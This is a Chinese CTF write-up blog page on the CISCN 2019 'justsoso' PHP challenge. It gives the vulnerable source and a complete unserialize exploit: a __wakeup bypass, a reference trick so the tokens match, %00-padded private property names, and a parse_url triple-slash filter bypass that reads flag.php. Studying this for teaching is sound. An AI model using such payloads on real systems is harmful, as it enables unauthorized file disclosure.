<!DOCTYPE html>



  


<html class="theme-next mist use-motion" lang="">
<head><meta name="generator" content="Hexo 3.8.0">
  <meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<meta name="theme-color" content="#222">



  
  
    
    
  <script src="/lib/pace/pace.min.js?v=1.0.2"></script>
  <link href="/lib/pace/pace-theme-minimal.min.css?v=1.0.2" rel="stylesheet">







<meta http-equiv="Cache-Control" content="no-transform">
<meta http-equiv="Cache-Control" content="no-siteapp">
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css">







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css">

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css">


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="CTF,">










<meta name="description" content="题目源码： index.php &amp;lt;html&amp;gt; &amp;lt;?php error_reporting(0);  $file = $_GET[&amp;quot;file&amp;quot;];  $payload = $_GET[&amp;quot;payload&amp;quot;]; if(!isset($file)){     echo &amp;apos;Missing parameter&amp;apos;.&amp;apos;&amp;lt;">
<meta name="keywords" content="CTF">
<meta property="og:type" content="article">
<meta property="og:title" content="ciscn2019-justsoso涉及知识点总结">
<meta property="og:url" content="https://yml-sec.top/2019/05/05/ciscn2019-justsoso涉及及知识点总结/index.html">
<meta property="og:site_name" content="yemoli&#39;s blog">
<meta property="og:description" content="题目源码： index.php &amp;lt;html&amp;gt; &amp;lt;?php error_reporting(0);  $file = $_GET[&amp;quot;file&amp;quot;];  $payload = $_GET[&amp;quot;payload&amp;quot;]; if(!isset($file)){     echo &amp;apos;Missing parameter&amp;apos;.&amp;apos;&amp;lt;">
<meta property="og:locale" content="default">
<meta property="og:image" content="https://i.loli.net/2019/05/05/5ccec2a4d0025.jpg">
<meta property="og:image" content="https://i.loli.net/2019/05/05/5ccec4ea9ba27.jpg">
<meta property="og:image" content="https://i.loli.net/2019/05/05/5ccecac62202d.jpg">
<meta property="og:image" content="https://i.loli.net/2019/05/05/5ccecc0aceafc.jpg">
<meta property="og:image" content="https://i.loli.net/2019/05/05/5cced060c54b5.jpg">
<meta property="og:updated_time" content="2019-05-05T12:01:28.731Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="ciscn2019-justsoso涉及知识点总结">
<meta name="twitter:description" content="题目源码： index.php &amp;lt;html&amp;gt; &amp;lt;?php error_reporting(0);  $file = $_GET[&amp;quot;file&amp;quot;];  $payload = $_GET[&amp;quot;payload&amp;quot;]; if(!isset($file)){     echo &amp;apos;Missing parameter&amp;apos;.&amp;apos;&amp;lt;">
<meta name="twitter:image" content="https://i.loli.net/2019/05/05/5ccec2a4d0025.jpg">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Mist',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":false,"scrollpercent":false,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: 'Author'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="https://yml-sec.top/2019/05/05/ciscn2019-justsoso涉及及知识点总结/">





  <title>ciscn2019-justsoso涉及知识点总结 | yemoli's blog</title>
  








</head>

<body itemscope="" itemtype="http://schema.org/WebPage" lang="default">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>
    <header id="header" class="header" itemscope="" itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/" class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">yemoli's blog</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle"></p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br>
            
            Home
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br>
            
            About
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br>
            
            Tags
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br>
            
            Archives
          </a>
        </li>
      
        
        <li class="menu-item menu-item-friends">
          <a href="/friends/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-sitemap"></i> <br>
            
            friends
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope="" itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="https://yml-sec.top/2019/05/05/ciscn2019-justsoso涉及及知识点总结/">

    <span hidden itemprop="author" itemscope="" itemtype="http://schema.org/Person">
      <meta itemprop="name" content="夜莫离、">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="/images/avatar.gif">
    </span>

    <span hidden itemprop="publisher" itemscope="" itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="yemoli's blog">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">ciscn2019-justsoso涉及知识点总结</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">Posted on</span>
              
              <time title="Post created" itemprop="dateCreated datePublished" datetime="2019-05-05T18:47:14+08:00">
                2019-05-05
              </time>
            

            

            
          </span>

          

          
            
          

          
          

          

          
            <div class="post-wordcount">
              
                
                <span class="post-meta-item-icon">
                  <i class="fa fa-file-word-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Words count in article&#58;</span>
                
                <span title="Words count in article">
                  824
                </span>
              

              
                <span class="post-meta-divider">|</span>
              

              
                <span class="post-meta-item-icon">
                  <i class="fa fa-clock-o"></i>
                </span>
                
                  <span class="post-meta-item-text">Reading time &asymp;</span>
                
                <span title="Reading time">
                  4
                </span>
              
            </div>
          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <p>题目源码：</p>
<p>index.php</p>
<pre><code>&lt;html&gt;
&lt;?php
error_reporting(0); 
$file = $_GET[&quot;file&quot;]; 
$payload = $_GET[&quot;payload&quot;];
if(!isset($file)){
    echo &apos;Missing parameter&apos;.&apos;&lt;br&gt;&apos;;
}
if(preg_match(&quot;/flag/&quot;,$file)){
    die(&apos;hack attacked!!!&apos;);
}
@include($file);

if(isset($payload)){  
    $url = parse_url($_SERVER[&apos;REQUEST_URI&apos;]);
    parse_str($url[&apos;query&apos;],$query);
    foreach($query as $value){
        if (preg_match(&quot;/flag/&quot;,$value)) { 
            die(&apos;stop hacking!&apos;);
            exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo &quot;Missing parameters&quot;; 
} 
?&gt;
&lt;!--Please test index.php?file=xxx.php --&gt;
&lt;!--Please get the source of hint.php--&gt;
&lt;/html&gt;
</code></pre><p>hint.php</p>
<pre><code>&lt;?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k =&gt; $v) {
            $this-&gt;$k = null;
        }
        echo &quot;Waking up\n&quot;;
    }
    public function __construct($handle) { 
        $this-&gt;handle = $handle; 
    } 
    public function __destruct(){
        $this-&gt;handle-&gt;getFlag();
    }
}

class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this-&gt;file = $file;
        $this-&gt;token_flag = $this-&gt;token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this-&gt;token_flag = md5(rand(1,10000));
        if($this-&gt;token === $this-&gt;token_flag)
        {
            if(isset($this-&gt;file)){
                echo @highlight_file($this-&gt;file,true); 
            }  
        }
    }
}

?&gt;
</code></pre><p>先来看hint.php的源代码，我们需要构造反序列化字符串读取到flag.php文件，handle类中调用了getflag方法，而flag类中同样存在getflag方法，在我博客曾写过这么一篇文章</p>
<p><img src="https://i.loli.net/2019/05/05/5ccec2a4d0025.jpg" alt="1.jpg"></p>
<p>我们可以通过构造反序列化字符换来调用Flag类中的getflag函数。</p>
<p>这里涉及到题目的几个注意的点：</p>
<ol>
<li>我们需要绕过wakeup函数</li>
<li>我们还需要想办法对下面的校验进行处理</li>
</ol>
<p><img src="https://i.loli.net/2019/05/05/5ccec4ea9ba27.jpg" alt="2.jpg"></p>
<p>对于wakeup函数的绕过问题，可参考前面的反序列化文章，里面有详细的总结</p>
<p>源代码中要求token和token_flag值是相等的，对于token和token_flag<br>的比较，这里要熟悉一下PHP中的指针，我们可以将token和token_flag<br>绑定到一个地址上，这样无论我们赋予token什么值，token与<br>token_flag总是相等的</p>
<p>所以payload我们可以这样写</p>
<pre><code>&lt;?php  
class Handle{ 
    private $handle;  
    public function __wakeup(){
        foreach(get_object_vars($this) as $k =&gt; $v) {
            $this-&gt;$k = null;
        }
        echo &quot;Waking up\n&quot;;
    }
    public function __construct($handle) { 
        $this-&gt;handle = $handle; 
    } 
    public function __destruct(){
        $this-&gt;handle-&gt;getFlag();
    }
}
class Flag{
    public $file;
    public $token;
    public $token_flag;

    function __construct($file){
        $this-&gt;file = $file;
        $this-&gt;token_flag = $this-&gt;token = md5(rand(1,10000));
    }

    public function getFlag(){
        $this-&gt;token_flag = md5(rand(1,10000));
        if($this-&gt;token === $this-&gt;token_flag)
        {
            if(isset($this-&gt;file)){
                echo @highlight_file($this-&gt;file,true); 
            }  
        }
    }
}
$a = new Flag(&quot;flag.php&quot;);
$b = new Handle($a);
$a-&gt;token = &quot;yemoli&quot;;
$a-&gt;token_flag=&amp;$a-&gt;token;
echo serialize($b);
?&gt;
</code></pre><p>得到如下的payload</p>
<pre><code>O:6:&quot;Handle&quot;:1:{s:14:&quot;Handlehandle&quot;;O:4:&quot;Flag&quot;:3:{s:4:&quot;file&quot;;s:8:&quot;flag.php&quot;;s:5:&quot;token&quot;;s:6:&quot;yemoli&quot;;s:10:&quot;token_flag&quot;;R:4;}}
</code></pre><p>Handlehandle的长度为12，但是它却显示是14，这是因为成员变量是私有变量，查看源代码发现生成了两个方块一样的不可见字符</p>
<p><img src="https://i.loli.net/2019/05/05/5ccecac62202d.jpg" alt="3.jpg"></p>
<p>我们用%00填充即可，同时要注意绕过wakeup</p>
<p>最后的payload</p>
<pre><code>O:6:&quot;Handle&quot;:2:{s:14:&quot;%00Handle%00handle&quot;;O:4:&quot;Flag&quot;:3:{s:4:&quot;file&quot;;s:8:&quot;flag.php&quot;;s:5:&quot;token&quot;;s:6:&quot;yemoli&quot;;s:10:&quot;token_flag&quot;;R:4;}}
</code></pre><p>然后我们转过来看index.php</p>
<p>需要思考的是这一部分</p>
<p><img src="https://i.loli.net/2019/05/05/5ccecc0aceafc.jpg" alt="4.jpg"></p>
<p>我们可以利用该函数多个/返回false的特性绕过</p>
<p>payload </p>
<pre><code>http://127.0.0.1///?file=hint.php&amp;payload=O:6:&quot;Handle&quot;:2:{s:14:&quot;%00Handle%00handle&quot;;O:4:&quot;Flag&quot;:3:{s:4:&quot;file&quot;;s:8:&quot;flag.php&quot;;s:5:&quot;token&quot;;s:6:&quot;yemoli&quot;;s:10:&quot;token_flag&quot;;R:4;}}
</code></pre><p><img src="https://i.loli.net/2019/05/05/5cced060c54b5.jpg" alt="6.jpg"></p>

      
    </div>
    
    
    

    

    
      <div>
        <div style="padding: 10px 0; margin: 20px auto; width: 90%; text-align: center;">
  <div>坚持原创技术分享，您的支持将鼓励我继续创作！</div>
  <button id="rewardButton" disable="enable" onclick="var qr = document.getElementById('QR'); if (qr.style.display === 'none') {qr.style.display='block';} else {qr.style.display='none'}">
    <span>Donate</span>
  </button>
  <div id="QR" style="display: none;">

    
      <div id="wechat" style="display: inline-block">
        <img id="wechat_qr" src="/images/wechatpay.jpg" alt="夜莫离、 WeChat Pay">
        <p>WeChat Pay</p>
      </div>
    

    
      <div id="alipay" style="display: inline-block">
        <img id="alipay_qr" src="/images/alipay.jpg" alt="夜莫离、 Alipay">
        <p>Alipay</p>
      </div>
    

    

  </div>
</div>

      </div>
    

    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/CTF/" rel="tag"># CTF</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/04/26/newbugku部分web题解/" rel="next" title="newbugku部分web题解">
                <i class="fa fa-chevron-left"></i> newbugku部分web题解
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/05/05/parse-url-的一些tricks/" rel="prev" title="parse_url-的一些tricks">
                parse_url-的一些tricks <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      

      <section class="site-overview-wrap sidebar-panel sidebar-panel-active">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope="" itemtype="http://schema.org/Person">
            
              <p class="site-author-name" itemprop="name">夜莫离、</p>
              <p class="site-description motion-element" itemprop="description"></p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">58</span>
                  <span class="site-state-item-name">posts</span>
                </a>
              </div>
            

            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">16</span>
                  <span class="site-state-item-name">tags</span>
                </a>
              </div>
            

          </nav>

          

          
            <div class="links-of-author motion-element">
                
                  <span class="links-of-author-item">
                    <a href="https://github.com/yemoli" target="_blank" title="GitHub">
                      
                        <i class="fa fa-fw fa-github"></i>GitHub</a>
                  </span>
                
            </div>
          

          
          

          
          
            <div class="links-of-blogroll motion-element links-of-blogroll-block">
              <div class="links-of-blogroll-title">
                <i class="fa  fa-fw fa-link"></i>
                Links
              </div>
              <ul class="links-of-blogroll-list">
                
                  <li class="links-of-blogroll-item">
                    <a href="https://chxing.xyz/" title="Bling_Dog" target="_blank">Bling_Dog</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.smi1e.top/" title="Smi1e" target="_blank">Smi1e</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://altman.vip/" title="Altman" target="_blank">Altman</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.virtua1.cn/" title="Virtua1" target="_blank">Virtua1</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.zhaoj.in/" title="赵" target="_blank">赵</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.dongzt.cn/" title="Alkaid" target="_blank">Alkaid</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://cdusec.com/" title="CDUSEC" target="_blank">CDUSEC</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://cdusec.happyhacking.top/" title="CDUSEC内部博客" target="_blank">CDUSEC内部博客</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://jjhpkcr.xyz/" title="江江河畔砍柴人" target="_blank">江江河畔砍柴人</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.youknowi.xin/" title="图先生" target="_blank">图先生</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://a3ura.github.io/" title="a3ura" target="_blank">a3ura</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="http://www.recorday.cn/" title="C0d3r1iu" target="_blank">C0d3r1iu</a>
                  </li>
                
                  <li class="links-of-blogroll-item">
                    <a href="https://www.iloveflag.com/" title="醉梦半醒" target="_blank">醉梦半醒</a>
                  </li>
                
              </ul>
            </div>
          

          

        </div>
      </section>

      

      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; 2018 &mdash; <span itemprop="copyrightYear">2020</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">夜莫离、</span>

  
</div>


  <!-- <div class="powered-by">Powered by <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a></div> 



  <span class="post-meta-divider">|</span>



  <div class="theme-info">Theme &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Mist</a> v5.1.4</div>-->



<div class="theme-info">
 <div class="powered-by"></div>
 <span class="post-count">博客全站共63.1k字</span>
</div>
        







        
      </div>
    </footer>

    
      <div class="back-to-top">
        <i class="fa fa-arrow-up"></i>
        
      </div>
    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  


  











  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  

  
  
    <script type="text/javascript" src="/lib/canvas-nest/canvas-nest.min.js"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  

  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  





  

  

  

  
  

  

  

  

  
<script type="text/javascript" src="//cdn.bootcss.com/canvas-nest.js/1.0.0/canvas-nest.min.js"></script>

<!-- 页面点击小红心 -->
<script type="text/javascript" src="/js/src/love.js"></script>
</body>
</html>
